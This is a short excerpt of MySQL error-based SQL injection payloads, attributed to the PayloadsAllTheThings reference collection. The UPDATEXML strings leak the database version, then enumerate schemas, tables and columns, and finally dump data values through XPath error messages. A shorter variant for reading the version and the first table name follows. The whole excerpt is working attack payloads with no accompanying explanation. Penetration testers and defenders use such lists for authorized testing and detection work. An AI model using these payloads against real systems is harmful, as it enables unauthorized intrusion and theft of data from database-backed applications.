AND UPDATEXML(rand(),CONCAT(CHAR(126),version(),CHAR(126)),null)-
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--Shorter to read:
UPDATEXML(null,CONCAT(0x0a,version()),null)-- -
UPDATEXML(null,CONCAT(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -Source: SQL Injection/MySQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.